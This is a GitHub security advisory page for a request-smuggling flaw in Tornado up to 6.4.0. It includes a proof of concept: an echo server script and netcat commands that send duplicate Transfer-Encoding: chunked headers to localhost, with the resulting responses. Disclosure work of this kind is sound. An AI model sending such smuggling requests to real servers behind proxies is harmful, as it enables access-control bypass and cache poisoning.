GHSA-753j-mpmx-qq6g: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado
Summary When Tornado receives a request with two Transfer-Encoding: chunked headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. Pound) does this. PoC 0. Install Tornado. 1. Start a simple Tornado server that echoes each received request's body: 2. Send a valid chunked request: 3. Observe that the response is as expected: 4.
Published Jun 6, 2024 · Updated Jul 11, 2024
Affected packages
tornado
- Ecosystem
- PyPI
- Affected
- <= 6.4.0
- Fixed in
- 6.4.1
- Check
pip show tornado
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
When Tornado receives a request with two Transfer-Encoding: chunked headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. Pound) does this.
PoC
- Install Tornado.
- Start a simple Tornado server that echoes each received request's body:
cat << EOF > server.py
import asyncio
import tornado
class MainHandler(tornado.web.RequestHandler):
def post(self):
self.write(self.request.body)
async def main():
tornado.web.Application([(r"/", MainHandler)]).listen(8000)
await asyncio.Event().wait()
asyncio.run(main())
EOF
python3 server.py &- Send a valid chunked request:
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000- Observe that the response is as expected:
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:32:05 GMT
Content-Length: 1
Z- Send a request with two
Transfer-Encoding: chunkedheaders:
printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000- Observe the strange response:
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:35:40 GMT
Content-Length: 0
HTTP/1.1 400 Bad Request
This is because Tornado believes that the request has no message body, so it tries to interpret 1\r\nZ\r\n0\r\n\r\n as its own request, which causes a 400 response. With a little cleverness involving chunk-exts, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.
Impact
Anyone using Tornado behind a proxy that forwards requests containing multiple Transfer-Encoding: chunked headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.
Credited to kenballus.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-126347
Tornado: Open redirect via triple-slash redirect paths
low3.1Nov 13, 2026CVE-2026-115927
Tornado: Event loop blocking and excess memory use from chunked bodies with many small chunks
medium5.3Oct 28, 2026CVE-2026-116577
Tornado: Quadratic CPU usage when parsing HTTP headers with line folding
medium5.3Oct 28, 2026CVE-2026-116578
Tornado: Open redirect in RedirectHandler via protocol-relative URLs
low2.1Oct 28, 2026GHSA-3hv7-mjh2-fv65
Tornado: Unbounded query-string argument count allows event-loop-stalling DoS
medium5.3Sep 30, 2026GHSA-c2m8-h5v5-343r
Tornado: StaticFileHandler follows symlinks outside static root (path traversal)
high8.2Sep 30, 2026
